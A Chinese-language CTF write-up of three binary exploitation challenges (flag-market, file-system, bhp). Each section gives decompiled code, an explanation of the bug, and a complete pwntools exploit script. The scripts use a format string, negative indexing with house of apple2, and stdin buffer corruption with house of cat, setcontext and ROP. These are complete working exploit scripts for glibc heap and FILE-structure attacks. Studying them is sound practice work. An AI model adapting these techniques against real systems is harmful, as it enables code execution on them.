0x00

也是第一次参加这么重量级的比赛,回想起第一次参加正式比赛是学校的校赛,真是感慨良多

0x01 flag-market

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int i; // [rsp+Ch] [rbp-84h]
int fd; // [rsp+14h] [rbp-7Ch]
FILE *stream; // [rsp+18h] [rbp-78h]
char filename[9]; // [rsp+27h] [rbp-69h] BYREF
char s[16]; // [rsp+30h] [rbp-60h] BYREF
char s_1[72]; // [rsp+40h] [rbp-50h] BYREF
unsigned __int64 v10; // [rsp+88h] [rbp-8h]

v10 = __readfsqword(0x28u);
sub_401336(a1, a2, a3);
strcpy(filename, "/flag");
stream = fopen(filename, "r");
dword_40430C = 1;
while ( 1 )
{
while ( 1 )
{
puts("welcome to flag market!\ngive me money to buy my flag,\nchoice: \n1.take my money\n2.exit");
memset(s, 0, sizeof(s));
read(0, s, 0x10uLL);
if ( (unsigned __int8)atoi(s) != 1 )
exit(0);
puts("how much you want to pay?");
memset(s, 0, sizeof(s));
read(0, s, 0x10uLL);
if ( (unsigned __int8)atoi(s) == 0xFF )
break;
printf("You are so parsimonious!!!");
if ( dword_40430C )
{
fclose(stream);
dword_40430C = 0;
}
}
puts(aThankYouForPay); // "Thank you for paying,let me give you flag: "
if ( !dword_40430C || !fgets(s_1, 64, stream) )
break;
for ( i = 0; ; ++i )
{
if ( i > 64 )
{
puts("\nThank you for your patronage!");
return 0LL;
}
if ( s_1[i] == 123 )
break;
putchar(s_1[i]);
sleep(1u);
}
memset(s_1, 0, 0x40uLL);
puts(a1m31mError0mSo); // "\n\x1B[1m\x1B[31m==========error!!!========== \x1B[0m \nSorry, but maybe something wrong... \nyou can report it in user.log"
puts("opened user.log, please report:");
memset(
oflag, // "everything is ok~"
0,
0x100uLL);
__isoc99_scanf("%s", oflag); // "everything is ok~"
getchar();
fd = open("user.log", (int)oflag); // "everything is ok~"
write(
fd,
oflag, // "everything is ok~"
0x100uLL);
puts(aOkNowYouCanExi); // "OK,now you can exit or try again."
}
puts("something is wrong");
return 0LL;
}

审计一下,发现scanf%s

1
2
__isoc99_scanf("%s", oflag);                // "everything is ok~"
getchar();

这里oflag位于.data段,往下查看可以看到

1
2
3
4
5
.data:00000000004040C0 oflag           db 'everything is ok~',0
...
.data:00000000004041C0 ; char format[]
.data:00000000004041C0 format db 'You are so parsimonious!!!',0
.data:00000000004041C0 ; DATA XREF: main+112↑o

可以覆盖fmtstr

1
printf("You are so parsimonious!!!");

正是这里printf的参数,那么也就可以进行非栈上格式化字符串漏洞的利用

1
2
3
puts("how much you want to pay?");
memset(s, 0, sizeof(s));
read(0, s, 0x10uLL);

这里可以向栈上读入至多两个地址,栈上偏移的话调试一下便知
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.5/amd64/libc6_2.39-0ubuntu8.5_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "47.95.4.104"
port = 26699
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
b printf
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.5/amd64/libc6-dbg_2.39-0ubuntu8.5_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.5/amd64/glibc-source_2.39-0ubuntu8.5_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

main = 0x40139b

io.recvuntil(b'exit\n')
io.sendline(b'1')
io.recvuntil(b'pay?\n')
io.sendline(b'-1')

io.recvuntil(b'report:\n')
payload = b'\x00'*0x100 + b'%25$p' + '%{}c'.format(main - 0xe).encode() + b'%12$n'
io.sendline(payload)
io.recvuntil(b'exit\n')
io.sendline(b'1')
io.recvuntil(b'pay?\n')
io.sendline(p64(elf.got['fclose']))

io.recvuntil(b'0x')
libc_base = int(io.recv(12), 16) - 0x2a1ca
system = libc_base + libc.sym['system']
log.success("libc_base --> "+hex(libc_base))

io.recvuntil(b'exit\n')
io.sendline(b'1')
io.recvuntil(b'pay?\n')
io.sendline(b'-1')

val1 = system & 0xffff
val2 = ((system >> 16) & 0xffff) - val1 + 0x10000
payload = b'\x00'*0x100 + '%{}c'.format(val1).encode() + b'%12$hn'
payload += '%{}c'.format(val2).encode() + b'%13$hn'
io.recvuntil(b'report:\n')
io.sendline(payload)
io.recvuntil(b'exit\n')
io.sendline(b'1')
io.recvuntil(b'pay?\n')
io.send(p64(elf.got['atoi']) + p64(elf.got['atoi'] + 2))

io.recvuntil(b'exit\n')
io.sendline(b'/bin/sh\x00')

io.interactive()

0x02 file-system

题目(逆向后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned __int8 num; // al

init();
put_welcome();
puts("You should open a directory");
open_a_dir();
while ( 1 )
{
while ( 1 )
{
menu();
num = get_num();
if ( num != 4 )
break;
show_file();
}
if ( num > 4u )
break;
if ( num == 3 )
{
edit_file();
}
else
{
if ( num > 3u )
break;
if ( num == 1 )
{
create_file();
}
else
{
if ( num != 2 )
break;
open_file();
}
}
}
clean_all();
return 0LL;
}

菜单

1
2
3
4
5
int menu()
{
puts("1.create file\n2.open file\n3.edit file\n4.show file");
return printf("> ");
}

各个选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
unsigned __int64 create_file()
{
size_t v0; // rax
int i; // [rsp+0h] [rbp-130h]
int j; // [rsp+0h] [rbp-130h]
int i_1; // [rsp+4h] [rbp-12Ch]
int j_1; // [rsp+4h] [rbp-12Ch]
myfile *buf; // [rsp+8h] [rbp-128h]
char s[264]; // [rsp+10h] [rbp-120h] BYREF
unsigned __int64 v8; // [rsp+118h] [rbp-18h]

v8 = __readfsqword(0x28u);
if ( dirp )
{
if ( file_count >= 0 )
{
buf = (myfile *)malloc(0xDAuLL);
++file_count;
printf("%s", "input filename (max length = 0x30): ");
i_1 = read(0, buf, 0x30uLL);
for ( i = 0; i < i_1; ++i )
{
if ( buf->filename[i] == 10 )
{
buf->filename[i] = 0;
break;
}
}
if ( (unsigned int)is_file_existed(dirp, buf->filename) )
{
puts("File is Existing");
free(buf);
}
else
{
puts("input content (max length 0xa0): ");
j_1 = read(0, rwx_buf, 0xA0uLL);
for ( j = 0; j < j_1; ++j )
{
if ( *((_BYTE *)rwx_buf + j) == 10 )
{
*((_BYTE *)rwx_buf + j) = 0;
break;
}
}
memcpy(buf->input, rwx_buf, j);
memset(s, 0, 0x100uLL);
strcpy(s, dest);
s[strlen(s)] = 47;
v0 = strlen(s);
strcpy(&s[v0], buf->filename);
buf->fileptr = fopen(s, "w+");
if ( !buf->fileptr )
{
puts("opened the File error");
exit(-1);
}
fputs(buf->input, buf->fileptr);
(&file_list)[(unsigned __int8)file_count] = (myfile **)buf;
puts("Created File Success");
}
}
else
{
puts("create too many Files!");
}
}
else
{
puts("No Directory is Opening");
}
return v8 - __readfsqword(0x28u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
unsigned __int64 open_file()
{
size_t v0; // rax
int i; // [rsp+8h] [rbp-138h]
int i_1; // [rsp+Ch] [rbp-134h]
myfile *buf; // [rsp+10h] [rbp-130h]
char s[264]; // [rsp+20h] [rbp-120h] BYREF
unsigned __int64 v6; // [rsp+128h] [rbp-18h]

v6 = __readfsqword(0x28u);
if ( dirp )
{
if ( file_count >= 0 )
{
buf = (myfile *)malloc(0xDAuLL);
++file_count;
printf("%s", "input filename (max length = 0x30): ");
i_1 = read(0, buf, 0x30uLL);
for ( i = 0; i < i_1; ++i )
{
if ( buf->filename[i] == 10 )
{
buf->filename[i] = 0;
break;
}
}
if ( (unsigned int)is_file_existed(dirp, buf->filename) )
{
memset(s, 0, 0x100uLL);
strcpy(s, dest);
s[strlen(s)] = 47;
v0 = strlen(s);
strcpy(&s[v0], buf->filename);
buf->fileptr = fopen(s, "r+");
if ( !buf->fileptr )
{
puts("opened the File error");
exit(-1);
}
*(_WORD *)buf->padding = fread(buf->input, 1uLL, 0xA0uLL, buf->fileptr);
(&file_list)[(unsigned __int8)file_count] = (myfile **)buf;
puts("open File Success");
}
else
{
puts("File isn't Existing");
free(buf);
}
}
else
{
puts("Open too many Files!");
}
}
else
{
puts("No Directory is Opening");
}
return v6 - __readfsqword(0x28u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int edit_file()
{
signed __int8 num; // [rsp+Fh] [rbp-11h]
int i; // [rsp+10h] [rbp-10h]
int i_1; // [rsp+14h] [rbp-Ch]
myfile *v4; // [rsp+18h] [rbp-8h]

if ( !dirp )
return puts("No Directory is Opening");
if ( !chance_count )
return printf("%s", "no chance!");
--chance_count;
printf("%s", "input file idx: ");
num = get_num();
if ( (unsigned __int8)file_count < num )
return puts("idx Too Large!");
if ( !(&file_list)[num] )
return puts("the file disappeared!");
v4 = (myfile *)(&file_list)[num];
puts("input content (max length 0xa0): ");
i_1 = read(0, rwx_buf, 0xA0uLL);
for ( i = 0; i < i_1; ++i )
{
if ( *((_BYTE *)rwx_buf + i) == 10 )
{
*((_BYTE *)rwx_buf + i) = 0;
break;
}
}
memcpy(v4->input, rwx_buf, i);
*(_WORD *)v4->padding = i;
return puts("edit File Success");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int show_file()
{
signed __int8 num; // [rsp+7h] [rbp-9h]
myfile *v2; // [rsp+8h] [rbp-8h]

if ( !dirp )
return puts("No Directory is Opening");
if ( !chance_count )
return printf("%s", "no chance!");
--chance_count;
printf("%s", "input file idx: ");
num = get_num();
if ( (unsigned __int8)file_count < num )
return puts("idx Too Large!");
if ( !(&file_list)[num] )
return puts("idx error!");
v2 = (myfile *)(&file_list)[num];
printf("%.30s:", v2->filename);
write(1, v2->input, *(_WORD *)v2->padding & 0xFFF);
return puts("\nshow File Success");
}

逆向的结构体

1
2
3
4
5
6
7
00000000 struct myfile // sizeof=0xDA
00000000 {
00000000 char filename[48];
00000030 char input[160];
000000D0 char padding[2];
000000D2 FILE *fileptr;
000000DA };

bss段维护了一个file_list,然而发现edit_fileshow_file可以负溢出

1
2
3
4
5
6
num = get_num();
if ( (unsigned __int8)file_count < num )
return puts("idx Too Large!");
if ( !(&file_list)[num] )
return puts("the file disappeared!");
v4 = (myfile *)(&file_list)[num];

可以向上读写到stdoutstdin,写的范围是偏移0x30 - 0xd0,也就是_IO_write_endvtable之前(写不到vtable

1
2
3
.data:0000000000005008 ; void *off_5008
.data:0000000000005008 off_5008 dq offset off_5008 ; DATA XREF: sub_1420+1B↑r
.data:0000000000005008 ; .data:off_5008↓o

这里有一个自指的指针,自指意味着我们可以依靠它直接leakelf_base来向其附近写入其他地址,可以实现任意地址读写
然而,edit_fileshow_file收到chance的限制,初始仅有2次机会

1
2
.data:0000000000005010 chance_count    dd 2                    ; DATA XREF: edit_file:loc_1ED0↑r
.data:0000000000005010 ; edit_file+36↑r ...

我们可以打stdout_IO_buf_base_IO_buf_end来将这个chance改大
后续则是利用任意地址读写,将stdin或者stdout指针的地址写到file_list前再读,leaklibc_base,再通过create_file开文件,创建_IO_FILE_plus,增加file_list的成员,再将其地址写到file_list前面,再读,也就能读出一个堆地址,也就leak出了heap_base

1
2
3
4
5
if ( (&file_list)[i] )
{
fclose(*(FILE **)((char *)(&file_list)[i] + 210));
(&file_list)[i] = 0LL;
}

这里会调用的fclose来关闭_IO_FILE,可以打house of apple2
其调用的是vtable中的close项,所以虚表偏移要据此修改一下,同时因为我们选择打我们开的文件(是共享的)的_IO_FILE,其操作前后会上锁去锁,而相关函数会访问_lock成员,所以我们要恢复_lock的正常值
最后exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.41-6ubuntu1/amd64/libc6_2.41-6ubuntu1_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x220d)
b fclose
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.41-6ubuntu1/amd64/libc6-dbg_2.41-6ubuntu1_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8/amd64/glibc-source_2.41-6ubuntu1_all/usr/src/glibc/glibc-2.41
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
io.send(b'\n')

def create_file(filename, data):
io.recvuntil(b'> ')
io.sendline(b'1')
io.recvuntil(b'input filename (max length = 0x30): ')
io.send(filename)
io.recvuntil(b'input content (max length 0xa0): \n')
io.send(data)

def open_file(filename):
io.recvuntil(b'> ')
io.sendline(b'2')
io.recvuntil(b'input filename (max length = 0x30): ')
io.send(filename)

def edit_file(idx, data):
io.recvuntil(b'> ')
io.sendline(b'3')
io.recvuntil(b'input file idx: ')
io.sendline(str(idx).encode())
io.recvuntil(b'input content (max length 0xa0): \n')
io.send(data)

def show_file(idx):
io.recvuntil(b'> ')
io.sendline(b'4')
io.recvuntil(b'input file idx: ')
io.sendline(str(idx).encode())

show_file(-11) # 自指指针在此处
leak_addr = u64(io.recv(6).ljust(0x8, b'\x00'))
elf_base = leak_addr - 0x5008
log.success("elf_base --> "+hex(elf_base))

edit_file(-8, p64(0x7ffffffa000) + p64(elf_base+0x5010) + p64(elf_base+0x5030)) # 将chance改大

create_file(b'victim', b'a'*0x10) # 开一个文件,方便 leak heap_base 和后续打 apple2
edit_file(-11, p64(0)*4 + p64(elf_base + 0x5030))
show_file(-1)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x2118e0
log.success("libc_base --> "+hex(libc_base))
edit_file(-11, p64(0)*4 + p64(elf_base + 0x5068))
show_file(-1)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x84c0
log.success("heap_base --> "+hex(heap_base))

fake_io_addr = heap_base + 0x85b0 # 这是我们开的文件的 _IO_FILE 地址,直接对其进行修改

system = libc_base + libc.sym['system']
lock = libc_base + 0x2137b0 # _IO_stdfile_1_lock
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']

fake_io = b' sh\x00' # _flags
fake_io = fake_io.ljust(0x28, b'\x00') + p64(system) # system
fake_io = fake_io.ljust(0x88, b'\x00') + p64(lock) # _IO_stdfile_1_lock 恢复_lock
fake_io = fake_io.ljust(0xa0, b'\x00') + p64(fake_io_addr + 0xd0 - 0xe0) # _wide_data->_wide_vtable
fake_io = fake_io.ljust(0xd0, b'\x00') + p64(fake_io_addr + 0x28 - 0x68) # _wide_data->_wide_vtable->doallocate
fake_io = fake_io.ljust(0xd8, b'\x00') + p64(io_wfile_jumps - 0x70) # vtable 调整偏移 使其调用 _IO_wfile_overflow

edit_file(-11, p64(0)*4 + p64(fake_io_addr - 0x30))
edit_file(-1, fake_io[0:0x90])
edit_file(-11, p64(0)*4 + p64(fake_io_addr + 0x90 - 0x30))
edit_file(-1, fake_io[0x90:])
edit_file(-11, p64(0)*4 + p64(elf_base + 0x5060 - 0x30))
edit_file(-1, p64(heap_base + 0x84c0))

io.recvuntil(b'> ')
io.sendline(b'6') # 触发 fclose()

io.interactive()

怎么感觉是非预期呢()

1
2
3
4
5
6
7
8
9
10
11
12
13
FILE *init()
{
FILE *flag_stream; // rax

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
dirp = 0LL;
file_count = 0;
rwx_buf = mmap((void *)0x20250000, 0x200uLL, 7, 34, 0, 0LL);
flag_stream = fopen("./flag", "rb");
flag_stream = flag_stream;
return flag_stream;
}

初始化时候映射了一块rwx的内存,以及打开了flag文件,都没有利用到()

0x03 bhp

题目(逆向后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s[40]; // [rsp+0h] [rbp-68h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-40h]

v5 = __readfsqword(0x28u);
init(a1, a2, a3);
sandbox_init();
leak();
while ( 2 )
{
while ( 1 )
{
puts("");
puts("1) Create note");
puts("2) Edit note");
puts("3) View note");
puts("4) Delete note");
puts("6) Exit");
__printf_chk(2LL, "Choice: ");
if ( fgets(s, 32, stdin) )
break;
LABEL_9:
puts("bad choice");
}
switch ( (unsigned int)__isoc23_strtol(s, 0LL, 10LL) )
{
case 1u:
add();
continue;
case 2u:
edit();
continue;
case 3u:
__printf_chk(2LL, "Index: ");
fake_show();
continue;
case 4u:
delete();
continue;
case 6u:
puts("bye");
return 0LL;
default:
goto LABEL_9;
}
}
}

菜单,有沙箱,各个选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int add()
{
__int64 v0; // rax
size_t size_1; // rbx
void *ptr; // rax
size_t size; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-10h]

v5 = __readfsqword(0x28u);
if ( ptr || dword_4040 )
{
LODWORD(v0) = puts("No free slots.");
}
else
{
__printf_chk(2LL, "Size: ");
__isoc23_scanf("%zu", &size);
getc(stdin);
size_1 = size;
ptr = malloc(size);
::size = size_1;
ptr = ptr;
__printf_chk(2LL, "Content: ");
read(0, ptr, size);
*((char *)ptr + size - 1) = 0;
__printf_chk(2LL, "Created note %d\n", 0);
dword_4040 = 1;
return v5 - __readfsqword(0x28u);
}
return v0;
}

发现在malloc超大size失败后,可以任意地址写一字节0
其他选项都没啥用,不放了,看最初调用的

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 leak()
{
char buf[88]; // [rsp+0h] [rbp-68h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-10h]

v2 = __readfsqword(0x28u);
puts("=== Tiny Service ===");
__printf_chk(2LL, "Please input your token: ");
read(0, buf, 0x50uLL);
__printf_chk(2LL, "Your token is %s.\n", buf);
return v2 - __readfsqword(0x28u);
}

这里栈上buf有残留地址,调试一下便知,可以leaklibc_base;结合这个可以往_IO_2_1_stdin_IO_buf_base低字节写0,那么下一次输入便可以写入_IO_2_1_stdin本身(从_IO_buf_base开始写入,可以覆盖到),再次改写_IO_buf_base_IO_buf_end,便可以实现任意地址写
再考虑到沙箱,这个任意地址写打stdout,来打house of cat + setcontext来进行ROP即可(见这里这里
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x1810)
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
io.recvuntil(b'token: ')

io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
leak_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = leak_addr - 0xaddae
log.info("libc_base --> "+hex(libc_base))

target = libc_base + libc.sym['_IO_2_1_stdin_'] + 7*8 + 1
io.sendlineafter(b'Choice:', b'1')
io.sendlineafter(b'Size:', str(target).encode()) # 将 stdin 的 _IO_buf_base 为 0
io.sendlineafter(b'Content:', b'')
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
io.sendafter(b"Choice:", b'a'*0x18 + p64(stdout)+ p64(stdout + 0x1000)) # 改写stdin,后续可以写stdout

pop_rdi_ret = libc_base + 0x10f78b
ret = pop_rdi_ret + 1

fake_IO_addr = stdout

fake_IO = b'./flag' # _flags
fake_IO = fake_IO.ljust(0x30 + 0x20, b'\x00') + p64(fake_IO_addr + 0x10) # rdx = [rax+0x20] / _wide_data->_IO_write_ptr 这里控制rdx
fake_IO = fake_IO.ljust(0x40 + 0x18, b'\x00') + p64(libc_base + libc.sym['setcontext'] + 61) # _wide_data->_wide_vtable->_IO_WOVERFLOW 覆盖为setcontext+61
fake_IO = fake_IO.ljust(0x68, b'\x00') + p64(0) # _chain
fake_IO = fake_IO.ljust(0x88, b'\x00') + p64(libc_base + 0x205710) # _lock 指向可写地址
fake_IO = fake_IO.ljust(0xa0, b'\x00') + p64(fake_IO_addr + 0x30) # _wida_data
fake_IO = fake_IO.ljust(0x10 + 0xa0, b'\x00') + p64(fake_IO_addr + 0x118) + p64(ret) # 通过rdx,打setcontext,控制rsp为fake_IO_addr + 0x118和rip为ret来执行ROP
fake_IO = fake_IO.ljust(0xc0, b'\x00') + p32(0xffffffff) # _mode = -1
fake_IO = fake_IO.ljust(0xd8, b'\x00') + p64(libc_base + libc.sym["_IO_wfile_jumps"] + 0x10) # vtable
fake_IO = fake_IO.ljust(0x30 + 0xe0, b'\x00') + p64(fake_IO_addr + 0x40) # _wida_data->_wide_vtable

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

pop_rsi_ret = libc_base + 0x110a7d
pop_rdx_ret = libc_base + 0xab8a1
pop_rcx_ret = libc_base + 0xa877e

set_rdx = p64(pop_rcx_ret) + p64(stdout + 0x2100) + p64(pop_rdx_ret) + p64(0x100) #这里控制rdx的gadget如下
#0x72ee5a6ab8a1 <_int_malloc+817> pop rdx RDX => 0x100
#0x72ee5a6ab8a2 <_int_malloc+818> or byte ptr [rcx - 0xa], al [__pthread_keys+3894] <= 3 (0 | 3)
#0x72ee5a6ab8a5 <_int_malloc+821> ret <read>
# 如果不控制一下rcx的话程序会崩溃,所以设置为一个可读写地址
ropchain = p64(pop_rdi_ret) + p64(fake_IO_addr) + p64(open_addr) +\
p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + set_rdx + p64(read_addr) +\
p64(pop_rdi_ret) + p64(2) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + p64(write_addr)

io.sendafter(b'Choice:', fake_IO + ropchain) # 写入stdout

io.interactive()

house of apple应该也行,因为选项6可以触发exit

todo